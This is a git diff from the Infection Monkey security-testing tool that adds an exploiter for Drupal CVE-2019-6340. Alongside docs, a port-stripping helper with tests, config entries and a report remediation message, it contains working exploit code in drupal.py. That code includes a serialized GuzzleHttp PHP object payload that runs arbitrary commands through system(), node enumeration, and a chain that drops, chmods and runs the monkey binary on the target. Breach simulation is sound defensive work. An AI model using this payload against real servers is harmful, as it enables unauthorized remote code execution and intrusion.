diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md new file mode 100644 index 000000000..df600b2cb --- /dev/null +++ b/docs/content/reference/exploiters/Drupal.md @@ -0,0 +1,35 @@ +--- +title: "Drupal" +date: 2020-09-01T08:42:46+03:00 +draft: false +tags: ["exploit", "linux", "windows"] +--- + +The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340) +on a vulnerable Drupal server. + +### Description + +Some field types do not properly sanitize data from non-form sources in certain versions +of Drupal server. + +This can lead to arbitrary PHP code execution in some cases. + + +### Affected Versions + +* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. + +One of the following conditions must hold: +* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH +or POST requests; OR +* The site has another web services module enabled, like JSON:API in +Drupal 8, or Services or RESTful Web Services in Drupal 7. + + +### Notes + +* The Infection Monkey exploiter implementation is based on an open-source +[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a) +of the exploit by @leonjza. +* For the full attack to work, more than one vulnerable URL is required. \ No newline at end of file diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index 230e494bf..e99d0cf2b 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -1,3 +1,4 @@ +import re from urllib.parse import urlparse @@ -10,3 +11,10 @@ def get_host_from_network_location(network_location: str) -> str: """ url = urlparse("http://" + network_location) return str(url.hostname) + + +def remove_port(url): + parsed = urlparse(url) + with_port = f'{parsed.scheme}://{parsed.netloc}' + without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port) + return without_port diff --git a/monkey/common/network/test_network_utils.py b/monkey/common/network/test_network_utils.py index b4194aa27..3ee696a93 100644 --- a/monkey/common/network/test_network_utils.py +++ b/monkey/common/network/test_network_utils.py @@ -1,12 +1,18 @@ from unittest import TestCase -from common.network.network_utils import get_host_from_network_location +from common.network.network_utils import (get_host_from_network_location, + remove_port) class TestNetworkUtils(TestCase): - def test_remove_port_from_ip_string(self): + def test_get_host_from_network_location(self): assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" assert get_host_from_network_location("127.0.0.1") == "127.0.0.1" assert get_host_from_network_location("www.google.com:8080") == "www.google.com" assert get_host_from_network_location("user:password@host:8080") == "host" + + def test_remove_port_from_url(self): + assert remove_port('https://google.com:80') == 'https://google.com' + assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8' + assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com' diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index e0d35c5c4..274d07329 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -1,3 +1,4 @@ +import logging from abc import abstractmethod from datetime import datetime @@ -9,6 +10,9 @@ from infection_monkey.utils.plugins.plugin import Plugin __author__ = 'itamar' +logger = logging.getLogger(__name__) + + class HostExploiter(Plugin): @staticmethod def should_run(class_name): @@ -66,8 +70,11 @@ class HostExploiter(Plugin): def exploit_host(self): self.pre_exploit() + result = None try: result = self._exploit_host() + except Exception as _: + logger.error(f'Exception in exploit_host', exc_info=True) finally: self.post_exploit() return result diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py new file mode 100644 index 000000000..3a333d827 --- /dev/null +++ b/monkey/infection_monkey/exploit/drupal.py @@ -0,0 +1,192 @@ +""" +Remote Code Execution on Drupal server - CVE-2019-6340 +Implementation is based on: + https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a. +""" + +import logging +from urllib.parse import urljoin + +import requests + +from common.network.network_utils import remove_port +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.model import ID_STRING + +__author__ = 'Ophir Harpaz' + +LOG = logging.getLogger(__name__) + + +class DrupalExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Drupal Server' + DRUPAL_PORTS = [[80, False], [443, True]] + + def __init__(self, host): + super(DrupalExploiter, self).__init__(host) + + def get_exploit_config(self): + """ + We override this function because the exploits requires a special extension in the URL, "node", + e.g. an exploited URL would be http://172.1.2.3:/node/3. + :return: the Drupal exploit config + """ + exploit_config = super(DrupalExploiter, self).get_exploit_config() + exploit_config['url_extensions'] = ['node/', # In Linux, no path is added + 'drupal/node/'] # However, Bitnami installations are under /drupal + return exploit_config + + def add_vulnerable_urls(self, potential_urls, stop_checking=False): + """ + We need a specific implementation of this function in order to add the URLs *with the node IDs*. + We therefore check, for every potential URL, all possible node IDs. + :param potential_urls: Potentially-vulnerable URLs + :param stop_checking: Stop if one vulnerable URL is found + :return: None (in-place addition) + """ + for url in potential_urls: + try: + node_ids = find_exploitbale_article_ids(url) + if node_ids is None: + LOG.info('Could not find a Drupal node to attack') + continue + for node_id in node_ids: + node_url = urljoin(url, str(node_id)) + if self.check_if_exploitable(node_url): + self.add_vuln_url(url) # This is for report. Should be refactored in the future + self.vulnerable_urls.append(node_url) + if stop_checking: + break + except Exception as e: # We still don't know which errors to expect + LOG.error(f'url {url} failed in exploitability check: {e}') + if not self.vulnerable_urls: + LOG.info("No vulnerable urls found") + + def check_if_exploitable(self, url): + """ + Check if a certain URL is exploitable. + We use this specific implementation (and not simply run self.exploit) because this function does not "waste" + a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic. + :param url: Drupal's URL and port + :return: Vulnerable URL if exploitable, otherwise False + """ + payload = build_exploitability_check_payload(url) + + response = requests.get(f'{url}?_format=hal_json', + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False) + + if is_response_cached(response): + LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring') + return False + + return 'INVALID_VALUE does not correspond to an entity on this site' in response.text + + def exploit(self, url, command): + # pad a easy search replace output: + cmd = f'echo {ID_STRING} && {command}' + base = remove_port(url) + payload = build_cmd_execution_payload(base, cmd) + + r = requests.get(f'{url}?_format=hal_json', + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False) + + if is_response_cached(r): + LOG.info(f'Exploiting {url} returned cache HIT, may have failed') + + if ID_STRING not in r.text: + LOG.warning('Command execution _may_ have failed') + + result = r.text.split(ID_STRING)[-1] + return result + + def get_target_url(self): + """ + We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL. + Reusing the same URL eliminates its exploitability because of caching reasons :) + :return: vulnerable URL to exploit + """ + return self.vulnerable_urls.pop() + + def are_vulnerable_urls_sufficient(self): + """ + For the Drupal exploit, 5 distinct URLs are needed to perform the full attack. + :return: Whether the list of vulnerable URLs has at least 5 elements. + """ + # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it. + num_urls_needed_for_full_exploit = 5 + num_available_urls = len(self.vulnerable_urls) + result = num_available_urls >= num_urls_needed_for_full_exploit + if not result: + LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server ' + f'but only {num_available_urls} found') + return result + + +def is_response_cached(r: requests.Response) -> bool: + """ Check if a response had the cache header. """ + return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' + + +def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set: + """ Find target articles that do not 404 and are not cached """ + articles = set() + while lower < upper: + node_url = urljoin(base_url, str(lower)) + response = requests.get(node_url, verify=False) + if response.status_code == 200: + if is_response_cached(response): + LOG.info(f'Found a cached article at: {node_url}, skipping') + else: + articles.add(lower) + lower += 1 + return articles + + +def build_exploitability_check_payload(url): + payload = { + "_links": { + "type": { + "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}" + } + }, + "type": { + "target_id": "article" + }, + "title": { + "value": "My Article" + }, + "body": { + "value": "" + } + } + return payload + + +def build_cmd_execution_payload(base, cmd): + payload = { + "link": [ + { + "value": "link", + "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" + "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" + "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" + "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" + "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" + "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" + "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" + "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" + "".replace('|size|', str(len(cmd))).replace('|command|', cmd) + } + ], + "_links": { + "type": { + "href": f"{urljoin(base, '/rest/type/shortcut/default')}" + } + } + } + return payload diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 564f899f5..0f489d0a6 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -89,13 +89,13 @@ class WebRCE(HostExploiter): if not ports: return False # Get urls to try to exploit - urls = self.build_potential_urls(ports, exploit_config['url_extensions']) - self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls']) + potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions']) + self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls']) - if not self.vulnerable_urls: + if not self.are_vulnerable_urls_sufficient(): return False - self.target_url = self.vulnerable_urls[0] + self.target_url = self.get_target_url() self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url) # Skip if monkey already exists and this option is given @@ -104,21 +104,21 @@ class WebRCE(HostExploiter): return True # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url): + if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()): return False # Upload the right monkey to target - data = self.upload_monkey(self.target_url, exploit_config['upload_commands']) + data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands']) if data is False: return False # Change permissions to transform monkey into executable file - if self.change_permissions(self.target_url, data['path']) is False: + if self.change_permissions(self.get_target_url(), data['path']) is False: return False # Execute remote monkey - if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False: + if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False: return False return True @@ -193,6 +193,7 @@ class WebRCE(HostExploiter): def build_potential_urls(self, ports, extensions=None): """ + Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] @@ -350,7 +351,6 @@ class WebRCE(HostExploiter): if not commands: commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} command = self.get_command(paths['dest_path'], http_path, commands) - resp = self.exploit(url, command) self.add_executed_cmd(command) resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) @@ -508,3 +508,21 @@ class WebRCE(HostExploiter): def set_vulnerable_port_from_url(self, url): self.vulnerable_port = HTTPTools.get_port_from_url(url) + + def get_target_url(self): + """ + This method allows "configuring" the way in which a vulnerable URL is picked. + If the same URL should be used - always return the first. + Otherwise - implement your own (e.g. Drupal must use a new URI each time). + :return: a vulnerable URL + """ + return self.vulnerable_urls[0] + + def are_vulnerable_urls_sufficient(self): + """ + Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack. + Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for + single use, thus we need a couple of them. + :return: Whether or not a full attack can be performed using the available vulnerable URLs. + """ + return len(self.vulnerable_urls) > 0 diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 07431bae9..a15a06edf 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -337,8 +337,8 @@ class InfectionMonkey(object): :return: True if successfully exploited, False otherwise """ if not exploiter.is_os_supported(): - LOG.info("Skipping exploiter %s host:%r, os is not supported", - exploiter.__class__.__name__, machine) + LOG.info("Skipping exploiter %s host:%r, os %s is not supported", + exploiter.__class__.__name__, machine, machine.os) return False LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 06d2eda7c..0fa0b80d4 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -26,7 +26,8 @@ BASIC = { "WebLogicExploiter", "HadoopExploiter", "VSFTPDExploiter", - "MSSQLExploiter" + "MSSQLExploiter", + "DrupalExploiter" ] } } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 604ba2073..0a5e671a3 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -125,6 +125,16 @@ EXPLOITER_CLASSES = { "info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. " "Logic based on Metasploit module.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/" + }, + { + "type": "string", + "enum": [ + "DrupalExploiter" + ], + "title": "Drupal Exploiter", + "info": "Exploits a remote command execution vulnerability in a Drupal server," + "for which certain modules (such as RESTful Web Services) are enabled.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/" } ] } diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index f557c6a01..d60d53dec 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -43,7 +43,8 @@ class ReportService: 'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter', 'MSSQLExploiter': 'MSSQL Exploiter', - 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited' + 'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter', + 'DrupalExploiter': 'Drupal Server Exploiter' } class ISSUES_DICT(Enum): @@ -61,6 +62,7 @@ class ReportService: PTH_CRIT_SERVICES_ACCESS = 11 MSSQL = 12 VSFTPD = 13 + DRUPAL = 14 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -355,6 +357,12 @@ class ReportService: processed_exploit['type'] = 'mssql' return processed_exploit + @staticmethod + def process_drupal_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'drupal' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -370,7 +378,8 @@ class ReportService: 'WebLogicExploiter': ReportService.process_weblogic_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit, 'MSSQLExploiter': ReportService.process_mssql_exploit, - 'VSFTPDExploiter': ReportService.process_vsftpd_exploit + 'VSFTPDExploiter': ReportService.process_vsftpd_exploit, + 'DrupalExploiter': ReportService.process_drupal_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -666,6 +675,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True elif issue['type'] == 'hadoop': issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True + elif issue['type'] == 'drupal': + issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 067069fab..63749ced1 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -784,6 +784,23 @@ class ReportPageComponent extends AuthComponent { ); } + generateDrupalIssue(issue) { + return ( + <> + Upgrade Drupal server to versions 8.5.11, 8.6.10, or later. + + Drupal server at {issue.machine} ({issue.ip_address}) is vulnerable to remote command execution attack. +
+ The attack was made possible because the server is using an old version of Drupal, for which REST API is + enabled. For possible workarounds, fixes and more info read + here. +
+ + ); + } + generateWebLogicIssue(issue) { return ( <> @@ -905,6 +922,9 @@ class ReportPageComponent extends AuthComponent { case 'mssql': issueData = this.generateMSSQLIssue(issue); break; + case 'drupal': + issueData = this.generateDrupalIssue(issue); + break; } return
  • {issueData}
  • ; };